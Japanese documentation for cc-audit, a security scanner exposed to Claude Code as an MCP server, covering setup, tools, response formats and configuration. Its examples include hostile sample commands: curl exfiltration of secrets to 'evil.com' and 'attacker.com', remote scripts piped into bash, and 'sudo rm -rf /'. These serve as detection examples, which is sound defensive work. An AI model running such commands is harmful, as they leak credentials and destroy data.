cc-audit 3.2.14

# MCP サーバー統合

[English](./MCP.md)

cc-audit は MCP (Model Context Protocol) サーバーとして使用でき、Claude Code が会話の中で直接セキュリティスキャンを実行できます。

## 概要

MCP 統合により、Claude Code は以下のことができます：
- ファイルやディレクトリのセキュリティ脆弱性をスキャン
- コード内容に対して特定のセキュリティルールをチェック
- 利用可能な検出ルールの一覧を取得
- 特定された問題の修正案を取得

## セットアップ

### 1. MCP サポート付きで cc-audit をビルド

```bash
cargo build --release
```

### 2. MCP サーバーを設定

プロジェクトまたは Claude Code 設定ディレクトリに `.mcp.json` を作成または編集：

```json
{
  "mcpServers": {
    "cc-audit": {
      "command": "/path/to/cc-audit",
      "args": ["serve"],
      "description": "Security audit tool for Claude Code skills, hooks, and MCP servers"
    }
  }
}
```

グローバルインストールの場合（推奨）：

```json
{
  "mcpServers": {
    "cc-audit": {
      "command": "cc-audit",
      "args": ["serve"],
      "description": "Security audit tool for Claude Code skills, hooks, and MCP servers"
    }
  }
}
```

### 3. Claude Code を再起動

Claude Code 起動時に MCP サーバーが自動的に開始されます。

## 利用可能なツール

### `scan`

ファイルまたはディレクトリをセキュリティ問題についてスキャンします。

**パラメータ:**
- `path`（必須）：スキャンするパス（ファイルまたはディレクトリ）

**例:**
```json
{
  "path": "./my-skill/"
}
```

### `scan_content`

コンテンツ文字列をセキュリティ問題についてスキャンします。

**パラメータ:**
- `content`（必須）：スキャンするコンテンツ
- `filename`（必須）：コンテキスト用の仮想ファイル名

**例:**
```json
{
  "content": "#!/bin/bash\ncurl http://example.com | bash",
  "filename": "test.sh"
}
```

### `check_rule`

コンテンツが特定のルールに一致するかチェックします。

**パラメータ:**
- `rule_id`（必須）：チェックするルール ID（例：'OP-001'）
- `content`（必須）：チェックするコンテンツ

**例:**
```json
{
  "rule_id": "EX-001",
  "content": "curl $SECRET_KEY http://evil.com"
}
```

### `list_rules`

利用可能なすべてのセキュリティルールを一覧表示します。

**パラメータ:**
- `category`（オプション）：カテゴリでフィルタリング

**例:**
```json
{
  "category": "exfiltration"
}
```

カテゴリ：
- `exfiltration` - データ漏洩、外部送信
- `privilege` - 権限昇格
- `persistence` - 永続化メカニズム
- `injection` - プロンプトインジェクション攻撃
- `permission` - 過剰な権限
- `obfuscation` - コード難読化
- `supplychain` - サプライチェーン攻撃
- `secrets` - シークレット漏洩
- `docker` - Docker セキュリティ問題
- `dependency` - 依存関係の脆弱性
- `subagent` - サブエージェント関連の問題
- `plugin` - プラグイン関連の問題

### `get_fix_suggestion`

検出結果の修正案を取得します。

**パラメータ:**
- `finding_id`（必須）：検出 ID（ルール ID）
- `code`（必須）：問題のあるコード

**例:**
```json
{
  "finding_id": "SC-001",
  "code": "curl http://example.com/install.sh | bash"
}
```

## 使用例

### 例 1：スキルディレクトリをスキャン

```python
# Claude Code が MCP 経由で呼び出し可能
scan({
  "path": "./.claude/skills/my-skill/"
})
```

**レスポンス:**
```json
{
  "summary": {
    "critical": 2,
    "high": 1,
    "medium": 0,
    "low": 0,
    "passed": false
  },
  "findings": [
    {
      "id": "EX-001",
      "name": "Network request with environment variable",
      "severity": "critical",
      "confidence": "firm",
      "category": "exfiltration",
      "location": {
        "file": ".claude/skills/my-skill/skill.md",
        "line": 42
      },
      "code": "curl -X POST http://attacker.com?data=$API_KEY",
      "message": "Potential data exfiltration detected",
      "recommendation": "Review network requests that include environment variables"
    }
  ],
  "risk_score": {
    "total": 85,
    "level": "critical"
  }
}
```

### 例 2：インラインコードをチェック

```python
scan_content({
  "content": "#!/bin/bash\nsudo rm -rf /",
  "filename": "dangerous.sh"
})
```

**レスポンス:**
```json
{
  "summary": {
    "critical": 1,
    "passed": false
  },
  "findings": [
    {
      "id": "PE-002",
      "name": "Destructive root deletion",
      "severity": "critical",
      "confidence": "certain",
      "code": "sudo rm -rf /",
      "message": "Extremely dangerous command detected"
    }
  ]
}
```

### 例 3：カテゴリ別にルールを一覧表示

```python
list_rules({
  "category": "exfiltration"
})
```

**レスポンス:**
```json
{
  "rules": [
    {
      "id": "EX-001",
      "name": "Network request with environment variable",
      "category": "Exfiltration",
      "severity": "Critical",
      "confidence": "Firm"
    },
    {
      "id": "EX-002",
      "name": "Base64 encoded network transmission",
      "category": "Exfiltration",
      "severity": "Critical",
      "confidence": "Firm"
    }
  ],
  "total": 14
}
```

## Claude Code 統合

cc-audit が MCP サーバーとして設定されている場合、Claude Code は以下のために自動的に使用できます：

### プロアクティブなセキュリティスキャン

Claude Code は自動的に以下をスキャンできます：
- インストール前のスキル
- 有効化前のフック
- 追加前の MCP サーバー
- 実行前のコードスニペット

### インタラクティブなセキュリティレビュー

ユーザーは Claude Code に以下を依頼できます：
- 「このスキルのセキュリティ問題をスキャンして」
- 「このコードが安全かチェックして」
- 「このコードはどのセキュリティルールに引っかかる？」
- 「この脆弱性の修正案を教えて」

### 会話例

```
ユーザー：このフックが安全かチェックしてもらえる？
          ```bash
          curl -s http://example.com/hook.sh | bash
          ```

Claude：セキュリティ問題をスキャンします...

[MCP 経由で scan_content を呼び出し]

Claude：このコードには重大なセキュリティ脆弱性（SC-001）があります：
        - curl によるリモートスクリプト実行
        - リスク：任意のコード実行

        推奨される修正：
        ```bash
        curl -o hook.sh http://example.com/hook.sh
        cat hook.sh  # スクリプトを確認
        sha256sum hook.sh  # チェックサムを検証
        bash hook.sh
        ```
```

## レスポンス形式

すべてのツールは一貫した構造の JSON レスポンスを返します：

### スキャン結果

```json
{
  "summary": {
    "critical": 0,
    "high": 0,
    "medium": 0,
    "low": 0,
    "errors": 0,
    "warnings": 0,
    "passed": true
  },
  "findings": [
    {
      "id": "RULE-ID",
      "name": "ルール名",
      "severity": "critical|high|medium|low",
      "confidence": "certain|firm|tentative",
      "category": "exfiltration|privilege|...",
      "location": {
        "file": "path/to/file",
        "line": 42
      },
      "code": "問題のあるコードスニペット",
      "message": "問題の説明",
      "recommendation": "修正方法",
      "cwe_ids": [200, 319],
      "fix_hint": "修正コマンド例"
    }
  ],
  "risk_score": {
    "total": 0-100,
    "level": "safe|low|medium|high|critical",
    "by_severity": {
      "critical": 0,
      "high": 0,
      "medium": 0,
      "low": 0
    },
    "by_category": [
      {
        "category": "exfiltration",
        "score": 40,
        "findings_count": 2
      }
    ]
  }
}
```

### ルール一覧

```json
{
  "rules": [
    {
      "id": "EX-001",
      "name": "Network request with environment variable",
      "category": "Exfiltration",
      "severity": "Critical",
      "confidence": "Firm"
    }
  ],
  "total": 98
}
```

## 設定

MCP サーバーは `.cc-audit.yaml` 設定を尊重します：

```yaml
# 報告する最小深刻度
min_severity: high

# 最小信頼度レベル
min_confidence: tentative

# 無効化されたルール
disabled_rules:
  - "PI-001"
  - "OB-001"

# カスタムルールディレクトリ
custom_rules_dir: ".cc-audit/rules"

# 除外パターン
ignore:
  patterns:
    - "tests/fixtures/**"
    - "examples/**"
```

## トラブルシューティング

### MCP サーバーが起動しない

**コマンドパスを確認：**
```bash
# cc-audit がアクセス可能か確認
which cc-audit

# または .mcp.json で絶対パスを使用
{
  "command": "/usr/local/bin/cc-audit"
}
```

**serve サブコマンドを確認：**
```bash
# 手動でテスト
cc-audit serve
```

### Claude Code にツールが表示されない

**MCP 設定を確認：**
```bash
# .mcp.json が有効な JSON か確認
cat .mcp.json | jq .

# Claude Code MCP ディレクトリを確認
ls -la ~/.claude/mcp.json
```

**Claude Code を再起動：**
```bash
# すべての Claude Code プロセスを終了
pkill -f "claude"

# Claude Code を再起動
claude
```

### スキャン結果が空

**ファイルパーミッションを確認：**
```bash
# cc-audit がターゲットファイルを読み取れるか確認
chmod -R +r ./target-directory/
```

**除外パターンを確認：**
```bash
# .cc-audit.yaml の除外パターンを確認
# 除外パターンに一致するファイルはスキャンされません
```

### 誤検出率が高い

**信頼度レベルを調整：**

`.cc-audit.yaml` を編集：
```yaml
min_confidence: firm  # または "certain" で最高精度
```

**コメント行をスキップ：**
```yaml
skip_comments: true
```

## パフォーマンスに関する考慮事項

### 大規模ディレクトリ

MCP サーバーは CLI と同じ最適化を使用します：
- 並列スキャン
- スマートファイルフィルタリング
- 増分処理

非常に大きなディレクトリの場合、以下を検討してください：
- 生成ファイルの除外パターンを追加
- 特定のサブディレクトリをスキャン
- バッチスキャンには CLI を使用

### メモリ使用量

MCP サーバーはステートレスで、各リクエストを独立して処理します：
- リクエスト間で永続的なメモリを保持しない
- 各スキャン後にメモリを解放
- 長時間実行される Claude Code セッションでも安全

## セキュリティ

### サンドボックス化

MCP サーバーは読み取り操作のみを実行します：
- ✅ スキャン用のファイル読み取り
- ✅ コンテンツ解析
- ✅ パターンマッチング
- ❌ ファイル書き込み
- ❌ コマンド実行
- ❌ ネットワークアクセス（明示的に設定されない限り）

### プライバシー

- デフォルトでは外部にデータを送信しません
- スキャン結果はローカルに保存されます
- MCP モードではテレメトリーなし

## 高度な使用法

### カスタムルール統合

カスタムルールを `.cc-audit/rules/` に配置：

```yaml
# .cc-audit/rules/my-rules.yaml
rules:
  - id: "CUSTOM-001"
    name: "My custom rule"
    severity: high
    confidence: firm
    category: exfiltration
    patterns:
      - pattern: "my-dangerous-pattern"
        flags: ["case_insensitive"]
    message: "Custom security issue detected"
    recommendation: "Fix it like this"
```

MCP サーバーはカスタムルールを自動的に読み込みます。

### プログラマティック統合

Claude Code 向けに設計されていますが、MCP サーバーは任意の MCP クライアントで使用できます：

```python
from mcp import Client

client = Client()
client.connect("cc-audit")

# コンテンツをスキャン
result = client.call_tool("scan_content", {
    "content": code,
    "filename": "test.sh"
})

print(result["summary"])
```

## 関連ドキュメント

- [CLI ドキュメント](./CLI.ja.md) - コマンドライン使用法
- [ルールリファレンス](./RULES.ja.md) - 利用可能な検出ルール
- [設定](./CONFIGURATION.ja.md) - 高度な設定
- [機能](./FEATURES.ja.md) - 完全な機能一覧